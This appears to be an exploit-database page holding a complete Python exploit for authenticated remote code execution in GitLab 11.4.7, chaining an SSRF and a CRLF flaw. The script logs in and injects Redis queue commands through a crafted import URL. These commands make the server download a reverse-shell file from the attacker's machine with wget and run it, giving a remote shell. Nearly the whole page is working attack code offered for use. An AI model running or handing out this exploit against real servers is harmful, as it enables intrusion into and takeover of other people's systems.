Registergitlab 11.4.7 remote code execution (authenticated)
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# Exploit Title: GitLab 11.4.7 Authenticated Remote Code Execution (No Interaction Required) # Date: 15th December 2020 # Exploit Author: Mohin Paramasivam (Shad0wQu35t) # Software Link: https://about.gitlab.com/ # POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ # Tested on: GitLab 11.4.7 CE # CVE : CVE-2018-19571 (SSRF),CVE-2018-19585 (CRLF) import requests import re import warnings from bs4 import BeautifulSoup import sys import base64 import urllib from random_words import RandomWords import argparse import os import time parser = argparse.ArgumentParser(description='GitLab 11.4.7 Authenticated RCE') parser.add_argument('-U',help='GitLab Username') parser.add_argument('-P',help='Gitlab Password') parser.add_argument('-l',help='rev shell lhost') parser.add_argument('-p',help='rev shell lport ',type=int) args = parser.parse_args() username = args.U password = args.P lhost = args.l lport = args.p #Retrieve CSRF Token warnings.filterwarnings("ignore", category=UserWarning, module='bs4') gitlab_url = "http://10.129.49.62:5080" request = requests.Session() print("[+] Retrieving CSRF token to submit the login form") time.sleep(1) page = request.get(gitlab_url+"/users/sign_in") html_content = page.text soup = BeautifulSoup(html_content,features="lxml") token = soup.findAll('meta')[16].get("content") print("[+] CSRF Token : "+token) time.sleep(1) #Login login_info ={ "authenticity_token": token, "user[login]": username, "user[password]": password, "user[remember_me]": "0" } login_request = request.post(gitlab_url+"/users/sign_in",login_info) if login_request.status_code==200: print("[+] Login Successful") time.sleep(1) else: print("Login Failed") print(" ") sys.exit() #Exploitation print("[+] Running Exploit") time.sleep(1) print("[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter") time.sleep(1) ipv6_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git" r = RandomWords() project_name = r.random_word() project_url = '%s/%s/'%(gitlab_url,username) print("[+] Creating Project") time.sleep(1) print("[+] Project Name : "+project_name) time.sleep(1) print("[+] Creating Python Reverse Shell") time.sleep(1) python_shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'%(lhost,lport) os.system("touch shell.py") shell_file = open("shell.py","w") shell_file.write(python_shell) shell_file.close() print("[+] Reverse Shell Generated") time.sleep(1) print("[+] Start HTTP Server in current directory") print("Command : python3 -m http.server 80") time.sleep(2) http_server = raw_input("Continue (Y/N) : ") if (http_server=="N") or (http_server=="n"): print("Start HTTP Server before running exploit") elif (http_server=="Y") or (http_server=="y"): print("Run this script twice with options below to get SHELL!") print("") print("Option 1 : Download shell.py rev shell to server using wget") print("Option 2 : Execute shell.py downloaded previously") option = raw_input("Option (1/2) : ") if option=="1": reverse_shell= """\nmulti sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid wget http://%s/shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}" exec exec exec\n""" %(lhost) project_page = request.get(gitlab_url+"/projects/new") html_content = project_page.text soup = BeautifulSoup(html_content,features="lxml") project_token = soup.findAll('meta')[16].get("content") namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value') urlencoded_token1 = project_token.replace("==","%3D%3D") urlencoded_token_final = urlencoded_token1.replace("+","%2B") payload=b"utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name) proxies = { "http" : "http://127.0.0.1:8080", "https" : "https://127.0.0.1:8080", } cookies = { 'sidebar_collapsed': 'false', 'event_filter': 'all', 'hide_auto_devops_implicitly_enabled_banner_1': 'false', '_gitlab_session':request.cookies['_gitlab_session'], } headers = { 'Host': '10.129.49.31:5080', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://10.129.49.31:5080/projects', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '398', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } #response = request.post('http://10.129.49.31:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False) response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False) print("[+] Success!") time.sleep(1) print("[+] Run Exploit with Option 2") elif option=="2": reverse_shell= """\nmulti sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid python3 shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}" exec exec exec\n""" project_page = request.get(gitlab_url+"/projects/new") html_content = project_page.text soup = BeautifulSoup(html_content,features="lxml") project_token = soup.findAll('meta')[16].get("content") namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value') urlencoded_token1 = project_token.replace("==","%3D%3D") urlencoded_token_final = urlencoded_token1.replace("+","%2B") payload=b"utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name) proxies = { "http" : "http://127.0.0.1:8080", "https" : "https://127.0.0.1:8080", } cookies = { 'sidebar_collapsed': 'false', 'event_filter': 'all', 'hide_auto_devops_implicitly_enabled_banner_1': 'false', '_gitlab_session':request.cookies['_gitlab_session'], } headers = { 'Host': '10.129.49.31:5080', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://10.129.49.31:5080/projects', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '398', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } #response = request.post('http://10.129.49.31:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False) response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False) print("[+] Success!") time.sleep(1) print("[+] Spawning Reverse Shell")
Gitlab 11.4.7 remote code execution (authenticated) Vulnerability / Exploit Source : Gitlab 11.4.7 remote code execution (authenticated)
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